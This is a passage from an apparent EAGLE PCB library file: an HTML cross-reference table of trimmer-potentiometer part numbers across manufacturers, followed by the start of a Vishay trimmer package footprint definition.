-&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      8026EKP&lt;BR&gt;\n      8026EKW&lt;BR&gt;\n      8026EKM&lt;BR&gt;\n      8026EKP&lt;BR&gt;\n      8026EKB&lt;BR&gt;\n      8026EKM&lt;BR&gt;\n      1309X&lt;BR&gt;\n      1309P&lt;BR&gt;\n      1309W&lt;BR&gt;\n      8024EKP&lt;BR&gt;\n      8024EKW&lt;BR&gt;\n      8024EKN&lt;BR&gt;\n      RJ-9P/CT9P&lt;BR&gt;\n      RJ-9W&lt;BR&gt;\n      RJ-9X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3103P&lt;BR&gt;\n      3103Y&lt;BR&gt;\n      3103Z&lt;BR&gt;\n      3103P&lt;BR&gt;\n      3103Y&lt;BR&gt;\n      3103Z&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3105P/3106P&lt;BR&gt;\n      3105W/3106W&lt;BR&gt;\n      3105X/3106X&lt;BR&gt;\n      3105Y/3106Y&lt;BR&gt;\n      3105Z/3105Z&lt;BR&gt;\n      3102P&lt;BR&gt;\n      3102W&lt;BR&gt;\n      3102X&lt;BR&gt;\n      3102Y&lt;BR&gt;\n      3102Z&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMCBG&lt;BR&gt;\n      EVMCCG&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      55-1-X&lt;BR&gt;\n      55-4-X&lt;BR&gt;\n      55-3-X&lt;BR&gt;\n      55-2-X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      50-2-X&lt;BR&gt;\n      50-4-X&lt;BR&gt;\n      50-3-X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      64P&lt;BR&gt;\n      64W&lt;BR&gt;\n      64X&lt;BR&gt;\n      64Y&lt;BR&gt;\n      64Z&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      RT/RTR22&lt;BR&gt;\n      RT/RTR22&lt;BR&gt;\n      RT/RTR22&lt;BR&gt;\n      RT/RTR22&lt;BR&gt;\n      RJ/RJR22&lt;BR&gt;\n      RJ/RJR22&lt;BR&gt;\n      RJ/RJR22&lt;BR&gt;\n      RT/RTR26&lt;BR&gt;\n      RT/RTR26&lt;BR&gt;\n      RT/RTR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RJ/RJR26&lt;BR&gt;\n      RT/RTR24&lt;BR&gt;\n      RT/RTR24&lt;BR&gt;\n      RT/RTR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      RJ/RJR24&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;&amp;nbsp;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SINGLE TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MURATA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;SPECTROL&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MILSPEC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3323P&lt;BR&gt;\n      3323S&lt;BR&gt;\n      3323W&lt;BR&gt;\n      3329H&lt;BR&gt;\n      3329P&lt;BR&gt;\n      3329W&lt;BR&gt;\n      3339H&lt;BR&gt;\n      3339P&lt;BR&gt;\n      3339W&lt;BR&gt;\n      3352E&lt;BR&gt;\n      3352H&lt;BR&gt;\n      3352K&lt;BR&gt;\n      3352P&lt;BR&gt;\n      3352T&lt;BR&gt;\n      3352V&lt;BR&gt;\n      3352W&lt;BR&gt;\n      3362H&lt;BR&gt;\n      3362M&lt;BR&gt;\n      3362P&lt;BR&gt;\n      3362R&lt;BR&gt;\n      3362S&lt;BR&gt;\n      3362U&lt;BR&gt;\n      3362W&lt;BR&gt;\n      3362X&lt;BR&gt;\n      3386B&lt;BR&gt;\n      3386C&lt;BR&gt;\n      3386F&lt;BR&gt;\n      3386H&lt;BR&gt;\n      3386K&lt;BR&gt;\n      3386M&lt;BR&gt;\n      3386P&lt;BR&gt;\n      3386S&lt;BR&gt;\n      3386W&lt;BR&gt;\n      3386X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      25P&lt;BR&gt;\n      25S&lt;BR&gt;\n      25RX&lt;BR&gt;\n      82P&lt;BR&gt;\n      82M&lt;BR&gt;\n      82PA&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      91E&lt;BR&gt;\n      91X&lt;BR&gt;\n      91T&lt;BR&gt;\n      91B&lt;BR&gt;\n      91A&lt;BR&gt;\n      91V&lt;BR&gt;\n      91W&lt;BR&gt;\n      25W&lt;BR&gt;\n      25V&lt;BR&gt;\n      25P&lt;BR&gt;\n      -&lt;BR&gt;\n      25S&lt;BR&gt;\n      25U&lt;BR&gt;\n      25RX&lt;BR&gt;\n      25X&lt;BR&gt;\n      72XW&lt;BR&gt;\n      72XL&lt;BR&gt;\n      72PM&lt;BR&gt;\n      72RX&lt;BR&gt;\n      -&lt;BR&gt;\n      72PX&lt;BR&gt;\n      72P&lt;BR&gt;\n      72RXW&lt;BR&gt;\n      72RXL&lt;BR&gt;\n      72X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      T7YB&lt;BR&gt;\n      T7YA&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      TXD&lt;BR&gt;\n      TYA&lt;BR&gt;\n      TYP&lt;BR&gt;\n      -&lt;BR&gt;\n      TYD&lt;BR&gt;\n      TX&lt;BR&gt;\n      -&lt;BR&gt;\n      150SX&lt;BR&gt;\n      100SX&lt;BR&gt;\n      102T&lt;BR&gt;\n      101S&lt;BR&gt;\n      190T&lt;BR&gt;\n      150TX&lt;BR&gt;\n      101&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      101SX&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      ET6P&lt;BR&gt;\n      ET6S&lt;BR&gt;\n      ET6X&lt;BR&gt;\n      RJ-6W/8014EMW&lt;BR&gt;\n      RJ-6P/8014EMP&lt;BR&gt;\n      RJ-6X/8014EMX&lt;BR&gt;\n      TM7W&lt;BR&gt;\n      TM7P&lt;BR&gt;\n      TM7X&lt;BR&gt;\n      -&lt;BR&gt;\n      8017SMS&lt;BR&gt;\n      -&lt;BR&gt;\n      8017SMB&lt;BR&gt;\n      8017SMA&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      CT-6W&lt;BR&gt;\n      CT-6H&lt;BR&gt;\n      CT-6P&lt;BR&gt;\n      CT-6R&lt;BR&gt;\n      -&lt;BR&gt;\n      CT-6V&lt;BR&gt;\n      CT-6X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      8038EKV&lt;BR&gt;\n      -&lt;BR&gt;\n      8038EKX&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      8038EKP&lt;BR&gt;\n      8038EKZ&lt;BR&gt;\n      8038EKW&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3321H&lt;BR&gt;\n      3321P&lt;BR&gt;\n      3321N&lt;BR&gt;\n      1102H&lt;BR&gt;\n      1102P&lt;BR&gt;\n      1102T&lt;BR&gt;\n      RVA0911V304A&lt;BR&gt;\n      -&lt;BR&gt;\n      RVA0911H413A&lt;BR&gt;\n      RVG0707V100A&lt;BR&gt;\n      RVA0607V(H)306A&lt;BR&gt;\n      RVA1214H213A&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      3104B&lt;BR&gt;\n      3104C&lt;BR&gt;\n      3104F&lt;BR&gt;\n      3104H&lt;BR&gt;\n      -&lt;BR&gt;\n      3104M&lt;BR&gt;\n      3104P&lt;BR&gt;\n      3104S&lt;BR&gt;\n      3104W&lt;BR&gt;\n      3104X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      EVMQ0G&lt;BR&gt;\n      EVMQIG&lt;BR&gt;\n      EVMQ3G&lt;BR&gt;\n      EVMS0G&lt;BR&gt;\n      EVMQ0G&lt;BR&gt;\n      EVMG0G&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMK4GA00B&lt;BR&gt;\n      EVM30GA00B&lt;BR&gt;\n      EVMK0GA00B&lt;BR&gt;\n      EVM38GA00B&lt;BR&gt;\n      EVMB6&lt;BR&gt;\n      EVLQ0&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMMSG&lt;BR&gt;\n      EVMMBG&lt;BR&gt;\n      EVMMAG&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMMCS&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMM1&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMM0&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      EVMM3&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      62-3-1&lt;BR&gt;\n      62-1-2&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      67R&lt;BR&gt;\n      -&lt;BR&gt;\n      67P&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      67X&lt;BR&gt;\n      63V&lt;BR&gt;\n      63S&lt;BR&gt;\n      63M&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      63H&lt;BR&gt;\n      63P&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      63X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      RJ/RJR50&lt;BR&gt;\n      RJ/RJR50&lt;BR&gt;\n      RJ/RJR50&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n&lt;/TABLE&gt;\n&lt;P&gt;&amp;nbsp;&lt;P&gt;\n&lt;TABLE BORDER=0 CELLSPACING=1 CELLPADDING=3&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=7&gt;\n      &lt;FONT color=\"#0000FF\" SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SMD TRIM-POT CROSS REFERENCE&lt;/B&gt;&lt;/FONT&gt;\n      &lt;P&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;MULTI-TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURNS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;TOCOS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;AUX/KYOCERA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3224G&lt;BR&gt;\n      3224J&lt;BR&gt;\n      3224W&lt;BR&gt;\n      3269P&lt;BR&gt;\n      3269W&lt;BR&gt;\n      3269X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      44G&lt;BR&gt;\n      44J&lt;BR&gt;\n      44W&lt;BR&gt;\n      84P&lt;BR&gt;\n      84W&lt;BR&gt;\n      84X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      ST63Z&lt;BR&gt;\n      ST63Y&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      ST5P&lt;BR&gt;\n      ST5W&lt;BR&gt;\n      ST5X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=7&gt;&amp;nbsp;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=7&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SINGLE TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURNS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;TOCOS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;AUX/KYOCERA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3314G&lt;BR&gt;\n      3314J&lt;BR&gt;\n      3364A/B&lt;BR&gt;\n      3364C/D&lt;BR&gt;\n      3364W/X&lt;BR&gt;\n      3313G&lt;BR&gt;\n      3313J&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      23B&lt;BR&gt;\n      23A&lt;BR&gt;\n      21X&lt;BR&gt;\n      21W&lt;BR&gt;\n      -&lt;BR&gt;\n      22B&lt;BR&gt;\n      22A&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      ST5YL/ST53YL&lt;BR&gt;\n      ST5YJ/5T53YJ&lt;BR&gt;\n      ST-23A&lt;BR&gt;\n      ST-22B&lt;BR&gt;\n      ST-22&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      ST-4B&lt;BR&gt;\n      ST-4A&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      ST-3B&lt;BR&gt;\n      ST-3A&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      EVM-6YS&lt;BR&gt;\n      EVM-1E&lt;BR&gt;\n      EVM-1G&lt;BR&gt;\n      EVM-1D&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      G4B&lt;BR&gt;\n      G4A&lt;BR&gt;\n      TR04-3S1&lt;BR&gt;\n      TRG04-2S1&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      DVR-43A&lt;BR&gt;\n      CVR-42C&lt;BR&gt;\n      CVR-42A/C&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n&lt;/TABLE&gt;\n&lt;P&gt;\n&lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;ALT =&amp;nbsp;ALTERNATE&lt;/B&gt;&lt;/FONT&gt;\n&lt;P&gt;\n\n&amp;nbsp;\n&lt;P&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/table&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;</description>\n<packages>\n<package name=\"RTRIMT93XA\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; VISHAY&lt;p&gt;\nCermet, abgedichtet nach IP67</description>\n<wire x1=\"2.15\" y1=\"-4.75\" x2=\"2.15\" y2=\"4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.15\" y1=\"4.75\" x2=\"-2.55\" y2=\"4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.55\" y1=\"4.75\" x2=\"-2.55\" y2=\"-4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.55\" y1=\"-4.75\" x2=\"2.15\" y2=\"-4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.3\" y1=\"4.9\" x2=\"-0.3\" y2=\"6.05\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.3\" y1=\"6.05\" x2=\"-1.1\" y2=\"6.05\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.1\" y1=\"6.05\" x2=\"-1.1\" y2=\"5.85\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.1\" y1=\"5.85\" x2=\"-1.5\" y2=\"5.85\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.5\" y1=\"5.85\" x2=\"-1.5\" y2=\"6.05\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.5\" y1=\"6.05\" x2=\"-2.3\" y2=\"6.05\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"6.05\" x2=\"-2.3\" y2=\"4.9\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad 